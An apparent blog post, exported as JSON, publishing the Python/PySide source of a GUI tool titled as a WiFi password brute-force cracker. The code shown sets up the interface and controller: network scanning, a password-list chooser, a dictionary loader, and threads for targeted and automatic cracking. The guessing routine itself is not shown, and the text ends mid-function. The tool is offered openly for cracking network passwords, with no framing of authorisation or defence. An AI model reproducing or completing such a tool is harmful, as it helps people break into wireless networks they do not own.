{"id":132,"date":"2025-08-23T14:01:20","date_gmt":"2025-08-23T06:01:20","guid":{"rendered":"http:\/\/43.139.99.192\/?p=132"},"modified":"2025-08-23T14:01:21","modified_gmt":"2025-08-23T06:01:21","slug":"python-%e7%a0%b4%e8%a7%a3-wifi-%e5%af%86%e7%a0%81","status":"publish","type":"post","link":"http:\/\/43.139.99.192\/index.php\/2025\/08\/23\/python-%e7%a0%b4%e8%a7%a3-wifi-%e5%af%86%e7%a0%81\/","title":{"rendered":"Python \u2014\u2014 \u7834\u89e3 wifi \u5bc6\u7801"},"content":{"rendered":"\n

\u6e90\u7801\uff1a<\/strong><\/p>\n\n\n\n


class Ui_MainWindow(object):
    def setupUi(self, MainWindow):
        if not MainWindow.objectName():
            MainWindow.setObjectName(u\"MainWindow\")
        MainWindow.setWindowModality(Qt.WindowModality.WindowModal)
        MainWindow.resize(529, 500)
        sizePolicy = QSizePolicy(QSizePolicy.Policy.Minimum, QSizePolicy.Policy.Minimum)
        sizePolicy.setHorizontalStretch(0)
        sizePolicy.setVerticalStretch(0)
        sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())
        MainWindow.setSizePolicy(sizePolicy)
        MainWindow.setMinimumSize(QSize(500, 500))
        MainWindow.setMaximumSize(QSize(529, 600))
        icon = QIcon()
        icon.addFile(u\"images\/wificrack.ico\", QSize(), QIcon.Mode.Normal, QIcon.State.Off)
        MainWindow.setWindowIcon(icon)
        self.centralwidget = QWidget(MainWindow)
        self.centralwidget.setObjectName(u\"centralwidget\")
        sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().hasHeightForWidth())
        self.centralwidget.setSizePolicy(sizePolicy)
        self.centralwidget.setMinimumSize(QSize(0, 0))
        self.centralwidget.setMaximumSize(QSize(529, 500))
        self.lbl_wifi_name = QLabel(self.centralwidget)
        self.lbl_wifi_name.setObjectName(u\"lbl_wifi_name\")
        self.lbl_wifi_name.setGeometry(QRect(50, 10, 71, 20))
        self.cbo_wifi_name = QComboBox(self.centralwidget)
        self.cbo_wifi_name.setObjectName(u\"cbo_wifi_name\")
        self.cbo_wifi_name.setGeometry(QRect(120, 10, 201, 22))
        sizePolicy1 = QSizePolicy(QSizePolicy.Policy.Fixed, QSizePolicy.Policy.Fixed)
        sizePolicy1.setHorizontalStretch(0)
        sizePolicy1.setVerticalStretch(0)
        sizePolicy1.setHeightForWidth(self.cbo_wifi_name.sizePolicy().hasHeightForWidth())
        self.cbo_wifi_name.setSizePolicy(sizePolicy1)
        self.cbo_wifi_name.setMinimumSize(QSize(201, 22))
        self.cbo_wifi_name.setMaximumSize(QSize(201, 22))
        self.cbo_wifi_name.setFocusPolicy(Qt.FocusPolicy.NoFocus)
        self.cbo_wifi_name.setEditable(True)
        self.lbl_security_type = QLabel(self.centralwidget)
        self.lbl_security_type.setObjectName(u\"lbl_security_type\")
        self.lbl_security_type.setGeometry(QRect(50, 40, 71, 20))
        self.cbo_security_type = QComboBox(self.centralwidget)
        self.cbo_security_type.setObjectName(u\"cbo_security_type\")
        self.cbo_security_type.setGeometry(QRect(120, 40, 201, 22))
        sizePolicy1.setHeightForWidth(self.cbo_security_type.sizePolicy().hasHeightForWidth())
        self.cbo_security_type.setSizePolicy(sizePolicy1)
        self.cbo_security_type.setMinimumSize(QSize(201, 22))
        self.cbo_security_type.setMaximumSize(QSize(201, 22))
        self.cbo_security_type.setFocusPolicy(Qt.FocusPolicy.NoFocus)
        self.lbl_wnic = QLabel(self.centralwidget)
        self.lbl_wnic.setObjectName(u\"lbl_wnic\")
        self.lbl_wnic.setGeometry(QRect(50, 70, 71, 20))
        self.cbo_wnic = QComboBox(self.centralwidget)
        self.cbo_wnic.setObjectName(u\"cbo_wnic\")
        self.cbo_wnic.setGeometry(QRect(120, 70, 352, 22))
        sizePolicy1.setHeightForWidth(self.cbo_wnic.sizePolicy().hasHeightForWidth())
        self.cbo_wnic.setSizePolicy(sizePolicy1)
        self.cbo_wnic.setMinimumSize(QSize(201, 22))
        self.cbo_wnic.setMaximumSize(QSize(352, 22))
        self.cbo_wnic.setFocusPolicy(Qt.FocusPolicy.NoFocus)
        self.lbl_using_pwd_file = QLabel(self.centralwidget)
        self.lbl_using_pwd_file.setObjectName(u\"lbl_using_pwd_file\")
        self.lbl_using_pwd_file.setGeometry(QRect(5, 100, 521, 16))
        self.lbl_using_pwd_file.setAlignment(Qt.AlignmentFlag.AlignCenter)
        self.txt_log_msg_info = QTextEdit(self.centralwidget)
        self.txt_log_msg_info.setObjectName(u\"txt_log_msg_info\")
        self.txt_log_msg_info.setGeometry(QRect(0, 150, 529, 350))
        self.lbl_scan_time = QLabel(self.centralwidget)
        self.lbl_scan_time.setObjectName(u\"lbl_scan_time\")
        self.lbl_scan_time.setGeometry(QRect(330, 10, 81, 20))
        self.dbl_scan_time = QDoubleSpinBox(self.centralwidget)
        self.dbl_scan_time.setObjectName(u\"dbl_scan_time\")
        self.dbl_scan_time.setGeometry(QRect(410, 10, 62, 22))
        self.dbl_scan_time.setFocusPolicy(Qt.FocusPolicy.NoFocus)
        self.dbl_scan_time.setDecimals(1)
        self.dbl_scan_time.setMinimum(0.100000000000000)
        self.dbl_scan_time.setSingleStep(0.100000000000000)
        self.dbl_scan_time.setValue(8.000000000000000)
        self.lbl_connect_time = QLabel(self.centralwidget)
        self.lbl_connect_time.setObjectName(u\"lbl_connect_time\")
        self.lbl_connect_time.setGeometry(QRect(330, 40, 81, 20))
        self.dbl_connect_time = QDoubleSpinBox(self.centralwidget)
        self.dbl_connect_time.setObjectName(u\"dbl_connect_time\")
        self.dbl_connect_time.setGeometry(QRect(410, 40, 62, 22))
        self.dbl_connect_time.setFocusPolicy(Qt.FocusPolicy.NoFocus)
        self.dbl_connect_time.setDecimals(1)
        self.dbl_connect_time.setMinimum(0.100000000000000)
        self.dbl_connect_time.setSingleStep(0.100000000000000)
        self.dbl_connect_time.setValue(3.000000000000000)
        self.splitter = QSplitter(self.centralwidget)
        self.splitter.setObjectName(u\"splitter\")
        self.splitter.setGeometry(QRect(80, 120, 375, 23))
        self.splitter.setOrientation(Qt.Orientation.Horizontal)
        self.btn_change_pwd_file = QPushButton(self.splitter)
        self.btn_change_pwd_file.setObjectName(u\"btn_change_pwd_file\")
        self.splitter.addWidget(self.btn_change_pwd_file)
        self.btn_refresh_wifi = QPushButton(self.splitter)
        self.btn_refresh_wifi.setObjectName(u\"btn_refresh_wifi\")
        self.splitter.addWidget(self.btn_refresh_wifi)
        self.btn_start = QPushButton(self.splitter)
        self.btn_start.setObjectName(u\"btn_start\")
        self.splitter.addWidget(self.btn_start)
        self.btn_pause_or_resume = QPushButton(self.splitter)
        self.btn_pause_or_resume.setObjectName(u\"btn_pause_or_resume\")
        self.splitter.addWidget(self.btn_pause_or_resume)
        self.btn_stop = QPushButton(self.splitter)
        self.btn_stop.setObjectName(u\"btn_stop\")
        self.splitter.addWidget(self.btn_stop)
        MainWindow.setCentralWidget(self.centralwidget)

        self.retranslateUi(MainWindow)

        QMetaObject.connectSlotsByName(MainWindow)
    # setupUi

    def retranslateUi(self, MainWindow):
        MainWindow.setWindowTitle(QCoreApplication.translate(\"MainWindow\", u\"WiFi\\u5bc6\\u7801\\u66b4\\u529b\\u7834\\u89e3\\u5de5\\u5177v1.2.5 by \\u767d\\u6052aead\", None))
        self.lbl_wifi_name.setText(QCoreApplication.translate(\"MainWindow\", u\"WiFi\\u540d\\u79f0:\", None))
        self.lbl_security_type.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u5b89\\u5168\\u7c7b\\u578b:\", None))
        self.lbl_wnic.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u65e0\\u7ebf\\u7f51\\u5361:\", None))
        self.lbl_using_pwd_file.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u6b63\\u5728\\u4f7f\\u7528\\u5bc6\\u7801\\u672c: \", None))
        self.lbl_scan_time.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u626b\\u63cf\\u65f6\\u95f4(s):\", None))
        self.lbl_connect_time.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u8fde\\u63a5\\u95f4\\u9694(s):\", None))
        self.btn_change_pwd_file.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u66f4\\u6362\\u5bc6\\u7801\\u672c\", None))
        self.btn_refresh_wifi.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u626b\\u63cfWiFi\", None))
        self.btn_start.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u5f00\\u59cb\", None))
        self.btn_pause_or_resume.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u6682\\u505c\", None))
        self.btn_stop.setText(QCoreApplication.translate(\"MainWindow\", u\"\\u505c\\u6b62\", None))<\/pre>\n\n\n\n
<\/p>\n\n\n\n

class MainWindow(QMainWindow):
    def __init__(self,mutex):
        super().__init__()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        
        self.icon_path = \"\"
        if getattr(sys, 'frozen', False):
            self.icon_path = os.path.join(sys._MEIPASS, \"images\/wificrack.ico\") # type: ignore
        else:
            self.icon_path = \"images\/wificrack.ico\"
        
        if PyWiFi().interfaces().__len__() <= 1 and  mutex is None:
            self.showinfo(title=self.windowTitle(), message='\u5e94\u7528\u7a0b\u5e8f\u7684\u53e6\u4e00\u4e2a\u5b9e\u4f8b\u5df2\u7ecf\u5728\u8fd0\u884c\u3002\\n(p.s.\u4f60\u5f53\u524d\u7684\u8bbe\u5907\u53ea\u6709\u4e00\u4e2a\u7f51\u5361\uff0c\u4e0d\u652f\u6301\u591a\u5f00\uff01)')
            sys.exit()
        
        icon = QIcon()
        icon.addFile(self.icon_path, QSize(), QIcon.Mode.Normal, QIcon.State.Off)
        self.setWindowIcon(icon)
        
        #------------------------- \u521d\u59cb\u5316\u63a7\u4ef6\u72b6\u6001 -------------------------------#
        self.ui.cbo_wifi_name.addItem('\u2014\u2014\u5168\u90e8\u2014\u2014')
        
        self.ui.cbo_security_type.addItems(['\u2014\u2014\u81ea\u52a8\u2014\u2014','WPA','WPAPSK','WPA2','WPA2PSK','WPA3','WPA3SAE','OPEN'])
        self.ui.cbo_security_type.setCurrentIndex(0)
        self.set_display_using_pwd_file()
        
        self.ui.cbo_wifi_name.setDisabled(True)
        self.ui.cbo_wnic.setDisabled(True)
        self.ui.btn_refresh_wifi.setDisabled(True)
        self.ui.btn_start.setDisabled(True)
        self.ui.btn_pause_or_resume.setDisabled(True)
        self.ui.btn_stop.setDisabled(True)
        
        self.ui.txt_log_msg_info.setReadOnly(True)
        self.log_end = self.ui.txt_log_msg_info.textCursor().MoveOperation.End
        self.log_color = self.ui.txt_log_msg_info.textColor()
        #======================================================================#
        
        self.tool = WifiCrackTool(self)
        #---------------------- \u7ed1\u5b9a\u4e8b\u4ef6 ---------------------------#
        self.ui.btn_change_pwd_file.clicked.connect(self.tool.change_pwd_file)
        self.ui.btn_refresh_wifi.clicked.connect(self.tool.refresh_wifi)
        self.ui.btn_start.clicked.connect(self.tool.start)
        self.ui.btn_pause_or_resume.clicked.connect(self.tool.pause)
        self.ui.btn_stop.clicked.connect(self.tool.stop)
        self.ui.dbl_scan_time.valueChanged.connect(self.tool.change_scan_time)
        self.ui.dbl_connect_time.valueChanged.connect(self.tool.change_connect_time)
        #===========================================================#
        
        #---------------------- \u66f4\u65b0GUI\u7684\u4fe1\u53f7\u5bf9\u8c61 -------------------------#
        self.show_msg = MainWindow.SignThread(self.ui.centralwidget,self.tool.show_msg,str,str)
        self.clear_msg = MainWindow.SignThread(self.ui.centralwidget,self.tool.clear_msg)
        self.add_wifi_items = MainWindow.SignThread(self.ui.centralwidget,self.ui.cbo_wifi_name.addItems,list)
        self.set_wifi_current_index = MainWindow.SignThread(self.ui.centralwidget,self.ui.cbo_wifi_name.setCurrentIndex,int)
        self.set_control_state = MainWindow.SignThread(self.ui.centralwidget,self.set_control_enabled,bool,QWidget)
        self.reset_controls_state = MainWindow.SignThread(self.ui.centralwidget,self.tool.reset_controls_state)
        self.set_controls_running_state = MainWindow.SignThread(self.ui.centralwidget,self.tool.set_controls_running_state)
        self.show_info = MainWindow.SignThread(self.ui.centralwidget,self.showinfo,str,str)
        self.show_warning = MainWindow.SignThread(self.ui.centralwidget,self.showwarning,str,str)
        self.show_error = MainWindow.SignThread(self.ui.centralwidget,self.showerror,str,str)
        #=================================================================#
        
        self.show_msg.send(f\"\u521d\u59cb\u5316\u5b8c\u6210\uff01\\n\",\"black\")
    
    def showinfo(self,title:str,message:str):
        '''
<\/em>        <\/em>\u663e\u793a\u6d88\u606f\u63d0\u793a\u6846<\/em>
<\/em>        
<\/em>        :title <\/em>\u63d0\u793a\u6846\u6807\u9898<\/em>
<\/em>        :message <\/em>\u63d0\u793a\u6846\u6587\u672c<\/em>
<\/em>        '''
<\/em>        <\/em># \u521b\u5efaQMessageBox\u5b9e\u4f8b
        msg_box = QMessageBox()
        msg_box.setWindowTitle(title)
        msg_box.setText(message)
        msg_box.setWindowIcon(QIcon(self.icon_path))
        msg_box.setIcon(QMessageBox.Icon.Information)
        msg_box.setStandardButtons(QMessageBox.StandardButton.Ok)
        # \u8bbe\u7f6e\u7a97\u53e3\u6807\u5fd7\uff0c\u4f7f\u5176\u59cb\u7ec8\u7f6e\u9876
        msg_box.setWindowFlag(Qt.WindowType.WindowStaysOnTopHint, True)
        # \u663e\u793a\u6d88\u606f\u6846
        msg_box.exec()
    
    def showwarning(self,title:str,message:str):
        '''
<\/em>        <\/em>\u663e\u793a\u8b66\u544a\u63d0\u793a\u6846<\/em>
<\/em>        
<\/em>        :title <\/em>\u63d0\u793a\u6846\u6807\u9898<\/em>
<\/em>        :message <\/em>\u63d0\u793a\u6846\u6587\u672c<\/em>
<\/em>        '''
<\/em>        <\/em># \u521b\u5efaQMessageBox\u5b9e\u4f8b
        msg_box = QMessageBox(self.ui.centralwidget)
        msg_box.setWindowTitle(title)
        msg_box.setText(message)
        msg_box.setWindowIcon(QIcon(self.icon_path))
        msg_box.setIcon(QMessageBox.Icon.Warning)
        msg_box.setStandardButtons(QMessageBox.StandardButton.Ok)
        # \u8bbe\u7f6e\u7a97\u53e3\u6807\u5fd7\uff0c\u4f7f\u5176\u59cb\u7ec8\u7f6e\u9876
        msg_box.setWindowFlag(Qt.WindowType.WindowStaysOnTopHint, True)
        # \u663e\u793a\u6d88\u606f\u6846
        msg_box.exec()
    
    def showerror(self,title:str,message:str):
        '''
<\/em>        <\/em>\u663e\u793a\u9519\u8bef\u63d0\u793a\u6846<\/em>
<\/em>        
<\/em>        :title <\/em>\u63d0\u793a\u6846\u6807\u9898<\/em>
<\/em>        :message <\/em>\u63d0\u793a\u6846\u6587\u672c<\/em>
<\/em>        '''
<\/em>        <\/em># \u521b\u5efaQMessageBox\u5b9e\u4f8b
        msg_box = QMessageBox(self.ui.centralwidget)
        msg_box.setWindowTitle(title)
        msg_box.setText(message)
        msg_box.setWindowIcon(QIcon(self.icon_path))
        msg_box.setIcon(QMessageBox.Icon.Critical)
        msg_box.setStandardButtons(QMessageBox.StandardButton.Ok)
        # \u8bbe\u7f6e\u7a97\u53e3\u6807\u5fd7\uff0c\u4f7f\u5176\u59cb\u7ec8\u7f6e\u9876
        msg_box.setWindowFlag(Qt.WindowType.WindowStaysOnTopHint, True)
        # \u663e\u793a\u6d88\u606f\u6846
        msg_box.exec()
    
    def set_display_using_pwd_file(self,filename:str=\"(\u65e0)\"):
        self.ui.lbl_using_pwd_file.setText(f\"\u6b63\u5728\u4f7f\u7528\u5bc6\u7801\u672c\uff1a{filename}\")
    
    def set_control_enabled(self,state:bool,*control:QWidget):
        '''
<\/em>        <\/em>\u8bbe\u7f6e\u63a7\u4ef6\u542f\u7528<\/em>
<\/em>        
<\/em>        :state True-><\/em>\u542f\u7528\uff0c<\/em>False-><\/em>\u7981\u7528<\/em>
<\/em>        :control <\/em>\u63a7\u4ef6\u5bf9\u8c61<\/em>
<\/em>        '''
<\/em>        <\/em>if len(control) > 1:
            for con in control:
                con.setEnabled(state)
        elif len(control) == 1:
            control[0].setEnabled(state)
        
    class SignThread(QThread):
        \"\"\"GUI<\/em>\u4fe1\u53f7\u7ebf\u7a0b<\/em>\"\"\"
<\/em>    
<\/em>        <\/em>def __new__(cls, parent: QWidget, func, *types: type):
            cls.__update_date = Signal(*types, name=func.__name__)  # \u5b9a\u4e49\u4fe1\u53f7(*types)\u4e00\u4e2a\u4fe1\u53f7\u4e2d\u53ef\u4ee5\u6709\u4e00\u4e2a\u6216\u591a\u4e2a\u7c7b\u578b\u7684\u6570\u636e(int,str,list,...)
            return super().__new__(cls)  # \u4f7f\u7528\u7236\u7c7b__new__\u65b9\u6cd5\u521b\u5efaSignThread\u5b9e\u4f8b\u5bf9\u8c61
    
        def __init__(self, parent: QWidget, func, *types: type):
            \"\"\"
<\/em>            GUI<\/em>\u4fe1\u53f7\u7ebf\u7a0b\u521d\u59cb\u5316<\/em>\\n
<\/em>            <\/em>:param<\/em><\/strong> parent: <\/em>\u754c\u9762<\/em>UI<\/em>\u63a7\u4ef6
<\/em>            <\/em>:param<\/em><\/strong> func: <\/em>\u4fe1\u53f7\u8981\u7ed1\u5b9a\u7684\u65b9\u6cd5
<\/em>            <\/em>:param<\/em><\/strong> types: <\/em>\u4fe1\u53f7\u7c7b\u578b<\/em>,<\/em>\u53ef\u4ee5\u662f\u4e00\u4e2a\u6216\u591a\u4e2a<\/em>(type,...)
<\/em>            \"\"\"
<\/em>            <\/em>super().__init__(parent)  # \u521d\u59cb\u5316\u7236\u7c7b
            self.__update_date.connect(func)  # \u7ed1\u5b9a\u4fe1\u53f7\u4e0e\u65b9\u6cd5
    
        def send(self, *args):
            \"\"\"
<\/em>            <\/em>\u5411<\/em>GUI<\/em>\u7ebf\u7a0b\u53d1\u9001\u66f4\u65b0\u4fe1\u53f7<\/em>\\n
<\/em>            <\/em>:param<\/em><\/strong> args: <\/em>\u4fe1\u53f7\u7684\u5185\u5bb9
<\/em>            <\/em>:return<\/em><\/strong>:
<\/em>            \"\"\"
<\/em>            <\/em>self.__update_date.emit(*args)  # \u53d1\u9001\u4fe1\u53f7\u5143\u7ec4(type,...)

class WifiCrackTool:
    def __init__(self,win:MainWindow):
        self.win = win
        self.ui = win.ui
        
        self.config_dir_path = os.getcwd()+\"\/config\" #\u914d\u7f6e\u6587\u4ef6\u76ee\u5f55\u8def\u5f84
        # \u5982\u679c\u4e0d\u5b58\u5728config\u76ee\u5f55\uff0c\u5219\u521b\u5efa
        if not os.path.exists(self.config_dir_path):
            os.mkdir(self.config_dir_path)

        self.log_dir_path = os.getcwd()+\"\/log\" #\u65e5\u5fd7\u76ee\u5f55\u8def\u5f84
        # \u5982\u679c\u4e0d\u5b58\u5728log\u76ee\u5f55\uff0c\u5219\u521b\u5efa
        if not os.path.exists(self.log_dir_path):
            os.mkdir(self.log_dir_path)
        
        self.dict_dir_path = os.getcwd()+\"\/dict\" #\u5b57\u5178\u76ee\u5f55\u8def\u5f84
        # \u5982\u679c\u4e0d\u5b58\u5728dict\u76ee\u5f55\uff0c\u5219\u521b\u5efa
        if not os.path.exists(self.dict_dir_path):
            os.mkdir(self.dict_dir_path)

        self.config_file_path = self.config_dir_path+'\/settings.json'
        self.config_settings_data = {
            'scan_time':8,
            'connect_time':3,
            'pwd_txt_path':'passwords.txt'
        }
        if os.path.exists(self.config_file_path):
            with open(self.config_file_path, 'r',encoding='utf-8') as config_file:
                self.config_settings_data = json.load(config_file)
                self.ui.dbl_scan_time.setValue(self.config_settings_data['scan_time'])
                self.ui.dbl_connect_time.setValue(self.config_settings_data['connect_time'])
        else:
            with open(self.config_file_path, 'w',encoding='utf-8') as config_file:
                json.dump(self.config_settings_data, config_file, indent=4)
        
        pwd_txt_paths = self.config_settings_data['pwd_txt_path'].split('\/')
        self.pwd_txt_name = pwd_txt_paths[len(pwd_txt_paths)-1]
        
        self.pwd_dict_path = self.dict_dir_path+'\/pwdict.json'
        
        self.pwd_dict_data:list[dict[str,str]] = []
        if os.path.exists(self.pwd_dict_path):
            # \u8bfb\u53d6\u5bc6\u7801\u5b57\u5178\u6570\u636e
            with open(self.pwd_dict_path, 'r',encoding='utf-8') as json_file:
                self.pwd_dict_data = json.load(json_file)
        
        self.crack_pause_condition = threading.Condition()
        self.paused = False
        
        self.run = False
        self.pwd_file_changed = False
        
        # \u521b\u5efa\u7834\u89e3\u5bf9\u8c61
        self.crack = self.Crack(self)
        
        # \u5224\u65ad\u9ed8\u8ba4\u5bc6\u7801\u672c\u662f\u5426\u5b58\u5728
        if not os.path.exists(self.config_settings_data['pwd_txt_path']):
            self.win.showwarning(title='\u8b66\u544a', message='\u9ed8\u8ba4\u5bc6\u7801\u672c[%s]\u4e0d\u5b58\u5728\uff01\\n\u8bf7\u9009\u62e9\u5bc6\u7801\u672c'%(self.config_settings_data['pwd_txt_path']))
            self.config_settings_data['pwd_txt_path'] = \"\"
            self.change_pwd_file()
        else:
            self.win.set_display_using_pwd_file(self.pwd_txt_name)
    
    # \u4fee\u6539\u626b\u63cfWiFi\u65f6\u95f4
    def change_scan_time(self):
        self.win.tool.config_settings_data['scan_time'] = self.ui.dbl_scan_time.value()
    
    # \u4fee\u6539\u8fde\u63a5WiFi\u65f6\u95f4
    def change_connect_time(self):
        self.win.tool.config_settings_data['connect_time'] = self.ui.dbl_connect_time.value()
    
    # \u9009\u62e9\u5bc6\u7801\u672c
    def change_pwd_file(self):
        '''<\/em>\u9009\u62e9\u5bc6\u7801\u672c<\/em>'''
<\/em>
<\/em>        <\/em>try:
            default_dir = r\".\"
            temp_file_path,_ = QFileDialog.getOpenFileName(self.win, caption=u'\u9009\u62e9\u5bc6\u7801\u672c', dir=(os.path.expanduser(default_dir)), filter=\"Text files (*.txt)\")#;;JSON files (*.json)\")
            temp_filepaths = temp_file_path.split('\/')
            temp_filename = temp_filepaths[len(temp_filepaths)-1]
            temp_filenames = temp_filename.split('.')
            temp_filetype = temp_filenames[len(temp_filenames)-1]
            if(temp_filetype==''):
                self.win.showinfo(title='\u63d0\u793a',message='\u672a\u9009\u62e9\u5bc6\u7801\u672c')
                self.pwd_file_changed = False
            elif(temp_filetype not in ['txt']):#,'json']):
                self.win.showerror(title='\u9009\u62e9\u5bc6\u7801\u672c',message='\u5bc6\u7801\u672c\u7c7b\u578b\u9519\u8bef\uff01\\n\u76ee\u524d\u4ec5\u652f\u6301\u683c\u5f0f\u4e3a[txt]\u7684\u5bc6\u7801\u672c\\n\u60a8\u9009\u62e9\u7684\u5bc6\u7801\u672c\u683c\u5f0f\u4e3a['+temp_filetype+']')
                self.pwd_file_changed = False
            else:
                self.config_settings_data['pwd_txt_path'] = temp_file_path
                self.pwd_txt_paths = temp_filepaths
                self.pwd_txt_name = temp_filename
                self.win.set_display_using_pwd_file(self.pwd_txt_name)
                self.pwd_file_changed = True
        except Exception as r:
            self.win.showerror(title='\u9519\u8bef\u8b66\u544a',message='\u9009\u62e9\u5bc6\u7801\u672c\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))

    # \u663e\u793a\u65e5\u5fd7\u6d88\u606f
    def show_msg(self,msg:str,color:str=\"black\"):
        '''<\/em>\u663e\u793a\u65e5\u5fd7\u6d88\u606f<\/em>'''
<\/em>        <\/em>dt = datetime.datetime.now()
        with open(f\"{self.log_dir_path}\/wifi_crack_log_{dt.strftime('%Y%m%d')}.txt\",\"a\",encoding='utf-8') as log:
            log.write(dt.strftime('%Y-%m-%d %H:%M:%S')+\" >> \"+msg)#\u8f93\u51fa\u65e5\u5fd7\u5230\u672c\u5730\u6587\u4ef6
        self.ui.txt_log_msg_info.moveCursor(self.win.log_end)
        self.ui.txt_log_msg_info.insertHtml(\"<span style='color:\"+color+\";'>\"+dt.strftime('%Y-%m-%d %H:%M:%S')+\" >> \"+msg.replace('\\n', '<br\/>')+\"<\/span><br\/>\")
        self.ui.txt_log_msg_info.moveCursor(self.win.log_end)

    # \u6e05\u7a7a\u65e5\u5fd7\u6d88\u606f
    def clear_msg(self):
        '''<\/em>\u6e05\u7a7a\u8f93\u51fa\u6d88\u606f<\/em>'''
<\/em>        <\/em>self.ui.txt_log_msg_info.setPlainText(\"\")

    # \u91cd\u7f6e\u6240\u6709\u63a7\u4ef6\u72b6\u6001
    def reset_controls_state(self):
        '''<\/em>\u91cd\u7f6e\u72b6\u6001<\/em>'''
<\/em>        <\/em>try:
            self.ui.cbo_wifi_name.setEnabled(True)
            self.ui.cbo_security_type.setEnabled(True)
            self.ui.cbo_wnic.setEnabled(True)
            self.ui.dbl_scan_time.setEnabled(True)
            self.ui.dbl_connect_time.setEnabled(True)
            self.ui.btn_change_pwd_file.setEnabled(True)
            self.ui.btn_refresh_wifi.setEnabled(True)
            self.ui.btn_start.setEnabled(True)
            self.ui.btn_pause_or_resume.setDisabled(True)
            self.ui.btn_stop.setDisabled(True)
            self.ui.btn_pause_or_resume.setText(\"\u6682\u505c\")
            with self.crack_pause_condition:
                self.paused = False
                self.crack_pause_condition.notify_all()
        except Exception as r:
            pass 
    
    # \u8bbe\u7f6e\u6240\u6709\u63a7\u4ef6\u4e3a\u8fd0\u884c\u65f6\u7684\u72b6\u6001
    def set_controls_running_state(self):
        '''<\/em>\u8fd0\u884c\u72b6\u6001<\/em>'''
<\/em>        <\/em>self.ui.cbo_wifi_name.setDisabled(True)
        self.ui.cbo_security_type.setDisabled(True)
        self.ui.cbo_wnic.setDisabled(True)
        self.ui.dbl_scan_time.setDisabled(True)
        self.ui.dbl_connect_time.setDisabled(True)
        self.ui.btn_change_pwd_file.setDisabled(True)
        self.ui.btn_refresh_wifi.setDisabled(True)
        self.ui.btn_start.setDisabled(True)
        self.ui.btn_pause_or_resume.setEnabled(True)
        self.ui.btn_stop.setEnabled(True)
    
    # \u8bbe\u7f6e\u6240\u6709\u63a7\u4ef6\u4e3a\u6682\u505c\u65f6\u7684\u72b6\u6001
    def set_controls_pausing_state(self):
        '''<\/em>\u6682\u505c\u72b6\u6001<\/em>'''
<\/em>        <\/em>self.ui.cbo_wifi_name.setDisabled(True)
        self.ui.cbo_security_type.setDisabled(True)
        self.ui.cbo_wnic.setDisabled(True)
        self.ui.dbl_scan_time.setDisabled(True)
        self.ui.dbl_connect_time.setDisabled(True)
        self.ui.btn_change_pwd_file.setDisabled(True)
        self.ui.btn_refresh_wifi.setDisabled(True)
        self.ui.btn_start.setDisabled(True)
        self.ui.btn_pause_or_resume.setEnabled(True)
        self.ui.btn_stop.setEnabled(True)
    
    # \u5237\u65b0wifi\u5217\u8868
    def refresh_wifi(self):
        try:
            self.ui.cbo_wifi_name.clear()
            self.ui.cbo_wifi_name.addItem('\u2014\u2014\u5168\u90e8\u2014\u2014')
            self.ui.cbo_wifi_name.setDisabled(True)
            self.ui.btn_refresh_wifi.setDisabled(True)
            self.ui.btn_start.setDisabled(True)
            self.ui.cbo_wnic.setDisabled(True)
            self.ui.dbl_scan_time.setDisabled(True)
            thread = threading.Thread(target=self.crack.search_wifi,args=())
            thread.daemon = True
            thread.start()
        except Exception as r:
            self.win.showerror(title='\u9519\u8bef\u8b66\u544a',message='\u626b\u63cfwifi\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))
            self.show_msg('[\u9519\u8bef]\u626b\u63cfwifi\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef %s\\n\\n' %(r),\"red\")
            self.reset_controls_state()

    # \u5f00\u59cb\u7834\u89e3
    def start(self):
        try:
            if self.config_settings_data['pwd_txt_path']!=\"\" and os.path.exists(self.config_settings_data['pwd_txt_path']):
                wifi_name = self.ui.cbo_wifi_name.currentText()
                self.run = True
                self.set_controls_running_state()
                if self.ui.cbo_wifi_name.currentIndex() == 0:
                    thread = threading.Thread(target=self.crack.auto_crack)
                    thread.daemon = True
                    thread.start()
                else:
                    thread = threading.Thread(target=self.crack.crack,args=(wifi_name,))
                    thread.daemon = True
                    thread.start()
            else:
                if self.change_pwd_file():
                    self.start()
        except Exception as r:
            self.win.showerror(title='\u9519\u8bef\u8b66\u544a',message='\u5f00\u59cb\u8fd0\u884c\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))
            self.show_msg('[\u9519\u8bef]\u5f00\u59cb\u8fd0\u884c\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef %s\\n\\n' %(r),\"red\")
            self.reset_controls_state()

    # \u6682\u505c\u7834\u89e3
    def pause(self):
        try:
            with self.crack_pause_condition:
                if self.paused:
                    self.paused = False
                    self.ui.btn_pause_or_resume.setText(\"\u6682\u505c\")
                    self.show_msg(\"\u5f00\u59cb\u7ee7\u7eed\u7834\u89e3...\")
                    self.crack_pause_condition.notify_all()
                else:
                    self.paused = True
                    self.ui.btn_pause_or_resume.setText(\"\u7ee7\u7eed\")
                    self.show_msg(\"\u6b63\u5728\u5c1d\u8bd5\u6682\u505c\u7834\u89e3...\")
                    self.crack_pause_condition.notify_all()
        except Exception as r:
            self.win.showerror(title='\u9519\u8bef\u8b66\u544a',message='\u6682\u505c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))
            self.show_msg('[\u9519\u8bef]\u6682\u505c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef %s\\n\\n' %(r),\"red\")
            self.reset_controls_state()
    
    # \u7ec8\u6b62\u7834\u89e3
    def stop(self):
        try:
            self.run = False
            self.show_msg(\"\u6b63\u5728\u5c1d\u8bd5\u7ec8\u6b62\u7834\u89e3...\")
            with self.crack_pause_condition:
                self.paused = False
                self.crack_pause_condition.notify_all()
        except Exception as r:
